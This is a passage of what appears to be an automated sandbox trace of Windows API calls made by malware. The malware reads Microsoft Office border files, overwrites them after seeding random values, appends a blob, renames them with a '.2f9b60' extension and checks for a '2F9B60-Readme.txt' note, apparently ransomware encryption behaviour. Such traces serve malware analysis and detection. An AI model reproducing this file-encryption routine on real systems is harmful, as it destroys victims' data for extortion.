(in: hFile=0xdc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.473] ReadFile (in: hFile=0xdc0, lpBuffer=0x41b80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x415cf900, lpOverlapped=0x0 | out: lpBuffer=0x41b80d80*, lpNumberOfBytesRead=0x415cf900*=0x3c00, lpOverlapped=0x0) returned 1 [0124.793] SetFilePointerEx (in: hFile=0xdc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0124.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504890 [0124.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7190 [0124.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7190) returned 1 [0124.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b578d0 [0124.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7190 [0124.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0124.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a75b0) returned 1 [0124.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504890) returned 1 [0124.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0124.794] WriteFile (in: hFile=0xdc0, lpBuffer=0x41b578d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x415cf900, lpOverlapped=0x0 | out: lpBuffer=0x41b578d0*, lpNumberOfBytesWritten=0x415cf900*=0x3c00, lpOverlapped=0x0) returned 1 [0124.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b578d0) returned 1 [0124.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b80d80) returned 1 [0124.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced6c90 [0124.808] SetFilePointerEx (in: hFile=0xdc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.808] WriteFile (in: hFile=0xdc0, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x415cf9b0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x415cf9b0*=0x106, lpOverlapped=0x0) returned 1 [0124.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591f0 [0124.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504c10 [0124.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8250 [0124.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8250) returned 1 [0124.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0124.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8250 [0124.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8070 [0124.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8070) returned 1 [0124.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c10) returned 1 [0124.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591f0) returned 1 [0124.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cda0570 [0124.819] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="72") returned 2 [0124.819] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="f7") returned 2 [0124.819] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="73") returned 2 [0124.819] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="d1") returned 2 [0124.819] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="14") returned 2 [0124.819] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="5d") returned 2 [0124.819] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="99") returned 2 [0124.819] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="82") returned 2 [0124.819] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="20") returned 2 [0124.819] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="f4") returned 2 [0124.820] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="fb") returned 2 [0124.820] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="cc") returned 2 [0124.820] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="b5") returned 2 [0124.820] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="a5") returned 2 [0124.820] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="db") returned 2 [0124.820] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="c0") returned 2 [0124.820] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="04") returned 2 [0124.820] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="17") returned 2 [0124.820] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="8d") returned 2 [0124.820] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="c0") returned 2 [0124.820] RtlInitAnsiString (in: DestinationString=0x415cfa28, SourceString="72f773d1145d998220f4fbccb5a5dbc004178dc0" | out: DestinationString="72f773d1145d998220f4fbccb5a5dbc004178dc0") [0124.820] RtlAnsiStringToUnicodeString (in: DestinationString=0x415cf9f8, SourceString="72f773d1145d998220f4fbccb5a5dbc004178dc0", AllocateDestinationString=1 | out: DestinationString="72f773d1145d998220f4fbccb5a5dbc004178dc0") returned 0x0 [0124.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c0d0 [0124.820] wcscat (in: _Dest=0x2027a150, _Source="72f773d114" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\72f773d114") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\72f773d114" [0124.820] wcscat (in: _Dest=0x2027a150, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\72f773d114.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\72f773d114.2f9b60" [0124.820] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\72f773d114.2f9b60", NtPathName=0x415cf9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\72f773d114.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad080 [0124.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad080) returned 1 [0124.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48f90) returned 1 [0124.837] NtQueryInformationFile (in: FileHandle=0xdc0, IoStatusBlock=0x415cfa38, FileInformation=0x415cfa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x415cfa38, FileInformation=0x415cfa48) returned 0x0 [0124.837] NtSetInformationFile (FileHandle=0xdc0, IoStatusBlock=0x415cfa38, FileInformation=0x415cfa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a150) returned 1 [0124.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c0d0) returned 1 [0124.839] FlushFileBuffers (hFile=0xdc0) returned 1 [0124.848] CloseHandle (hObject=0xdc0) returned 1 [0124.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027bc30 [0124.849] wcscpy (in: _Dest=0x2027bc30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0124.849] wcscat (in: _Dest=0x2027bc30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" [0124.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\2f9b60-readme.txt")) returned 0x20 [0124.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bc30) returned 1 [0124.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aef50) returned 1 Thread: id = 1467 os_tid = 0x1940 [0120.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr")) returned 0x20 [0121.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR", dwFileAttributes=0x20) returned 1 [0121.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdd8 [0121.256] GetFileSizeEx (in: hFile=0xdd8, lpFileSize=0x416dfb20 | out: lpFileSize=0x416dfb20*=14594) returned 1 [0121.256] SetFilePointerEx (in: hFile=0xdd8, liDistanceToMove=0x38fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.256] ReadFile (in: hFile=0xdd8, lpBuffer=0x416dfaa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x416dfae8, lpOverlapped=0x0 | out: lpBuffer=0x416dfaa0*, lpNumberOfBytesRead=0x416dfae8*=0x4, lpOverlapped=0x0) returned 1 [0122.359] SetFilePointerEx (in: hFile=0xdd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d6f0 [0122.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d750 [0122.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0122.359] NtQuerySystemTime (in: CurrentTime=0x416df9e0 | out: CurrentTime=0x416df9e0*=132462177277402000) returned 0x0 [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x1edfb73c [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x3513c995 [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x3ab68c1d [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x5bfe826e [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x730614da [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x2a1d2c99 [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x78f4ecc9 [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x4887c732 [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x4cec760a [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x2964e67a [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x28a6af39 [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x13132f24 [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x791f07e5 [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x28f9525e [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x1d62982f [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x7abea81a [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x76330d60 [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x1d749d43 [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x76557e96 [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x2dfd1927 [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x6b3f0abe [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0xeafface [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x13b26907 [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x151e968b [0122.359] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x3453d9cc [0122.360] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x375e1577 [0122.360] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x6f62dc74 [0122.360] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x3c56e8c9 [0122.360] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0xc01cc25 [0122.360] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x75913e58 [0122.360] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x6100ec90 [0122.360] RtlRandomEx (in: Seed=0x416df9d0 | out: Seed=0x416df9d0) returned 0x1485f62 [0122.371] ReadFile (in: hFile=0xdd8, lpBuffer=0x1ceda600, nNumberOfBytesToRead=0x3902, lpNumberOfBytesRead=0x416df9d0, lpOverlapped=0x0 | out: lpBuffer=0x1ceda600*, lpNumberOfBytesRead=0x416df9d0*=0x3902, lpOverlapped=0x0) returned 1 [0122.422] SetFilePointerEx (in: hFile=0xdd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.422] WriteFile (in: hFile=0xdd8, lpBuffer=0x1cf076c0*, nNumberOfBytesToWrite=0x3902, lpNumberOfBytesWritten=0x416df9d4, lpOverlapped=0x0 | out: lpBuffer=0x1cf076c0*, lpNumberOfBytesWritten=0x416df9d4*=0x3902, lpOverlapped=0x0) returned 1 [0122.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dba0 [0122.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d6f0 [0122.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d6f0) returned 1 [0122.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf076c0) returned 1 [0122.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceda600) returned 1 [0122.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503a90) returned 1 [0122.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97670) returned 1 [0122.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x2050d6f0 [0122.813] SetFilePointerEx (in: hFile=0xdd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.813] WriteFile (in: hFile=0xdd8, lpBuffer=0x169800*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x416dfaf0, lpOverlapped=0x0 | out: lpBuffer=0x169800*, lpNumberOfBytesWritten=0x416dfaf0*=0x106, lpOverlapped=0x0) returned 1 [0123.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d50 [0123.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0123.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dc60 [0123.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dc60) returned 1 [0123.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0123.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dc60 [0123.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e590 [0123.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e590) returned 1 [0123.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0123.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d50) returned 1 [0123.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cda0670 [0123.039] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="10") returned 2 [0123.039] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="91") returned 2 [0123.039] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="3f") returned 2 [0123.039] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="2a") returned 2 [0123.039] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="c1") returned 2 [0123.039] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="2d") returned 2 [0123.039] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="98") returned 2 [0123.039] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="ef") returned 2 [0123.039] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="97") returned 2 [0123.039] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="98") returned 2 [0123.039] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="d2") returned 2 [0123.039] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="ce") returned 2 [0123.039] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="0d") returned 2 [0123.039] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="b0") returned 2 [0123.039] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="1d") returned 2 [0123.039] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="87") returned 2 [0123.039] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="6d") returned 2 [0123.039] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="f2") returned 2 [0123.039] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="ee") returned 2 [0123.039] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="69") returned 2 [0123.039] RtlInitAnsiString (in: DestinationString=0x416dfb68, SourceString="10913f2ac12d98ef9798d2ce0db01d876df2ee69" | out: DestinationString="10913f2ac12d98ef9798d2ce0db01d876df2ee69") [0123.039] RtlAnsiStringToUnicodeString (in: DestinationString=0x416dfb38, SourceString="10913f2ac12d98ef9798d2ce0db01d876df2ee69", AllocateDestinationString=1 | out: DestinationString="10913f2ac12d98ef9798d2ce0db01d876df2ee69") returned 0x0 [0123.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c370 [0123.040] wcscat (in: _Dest=0x202b17d0, _Source="10913f2ac1" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\10913f2ac1") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\10913f2ac1" [0123.040] wcscat (in: _Dest=0x202b17d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\10913f2ac1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\10913f2ac1.2f9b60" [0123.040] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\10913f2ac1.2f9b60", NtPathName=0x416dfb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\10913f2ac1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd64b00 [0123.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64b00) returned 1 [0123.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20290510) returned 1 [0123.172] NtQueryInformationFile (in: FileHandle=0xdd8, IoStatusBlock=0x416dfb78, FileInformation=0x416dfb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x416dfb78, FileInformation=0x416dfb88) returned 0x0 [0123.172] NtSetInformationFile (FileHandle=0xdd8, IoStatusBlock=0x416dfb78, FileInformation=0x416dfb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b17d0) returned 1 [0123.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c370) returned 1 [0123.178] FlushFileBuffers (hFile=0xdd8) returned 1 [0123.181] CloseHandle (hObject=0xdd8) returned 1 [0123.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b17d0 [0123.185] wcscpy (in: _Dest=0x202b17d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0123.185] wcscat (in: _Dest=0x202b17d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" [0123.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\2f9b60-readme.txt")) returned 0x20 [0123.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b17d0) returned 1 [0123.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aefe0) returned 1 Thread: id = 1468 os_tid = 0x1944 [0120.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr")) returned 0x20 [0121.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR", dwFileAttributes=0x20) returned 1 [0121.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdc4 [0121.265] GetFileSizeEx (in: hFile=0xdc4, lpFileSize=0x4154f900 | out: lpFileSize=0x4154f900*=15788) returned 1 [0121.265] SetFilePointerEx (in: hFile=0xdc4, liDistanceToMove=0x3da8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.265] ReadFile (in: hFile=0xdc4, lpBuffer=0x4154f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4154f8c8, lpOverlapped=0x0 | out: lpBuffer=0x4154f880*, lpNumberOfBytesRead=0x4154f8c8*=0x4, lpOverlapped=0x0) returned 1 [0122.240] SetFilePointerEx (in: hFile=0xdc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0122.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0122.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9ee0 [0122.241] NtQuerySystemTime (in: CurrentTime=0x4154f7c0 | out: CurrentTime=0x4154f7c0*=132462177276154000) returned 0x0 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x4e1465f9 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x99ce00a [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x51561e7a [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x5fbaa83f [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x17352e40 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x7e55175 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x68d8a651 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x57ca3154 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x7872c01a [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x43178f9f [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x29143a36 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x2c301e16 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x5eada7e9 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x44867599 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x4adde39a [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x47f1db24 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0xef23e91 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x130d9345 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x3375da27 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x21e457da [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0xf2d3fbc [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x6d8385cb [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x532a6ae8 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x51d113e5 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x12af3cb1 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x1df1d26b [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x769d1701 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: Seed=0x4154f7b0) returned 0x11d060b7 [0122.241] RtlRandomEx (in: Seed=0x4154f7b0 | out: 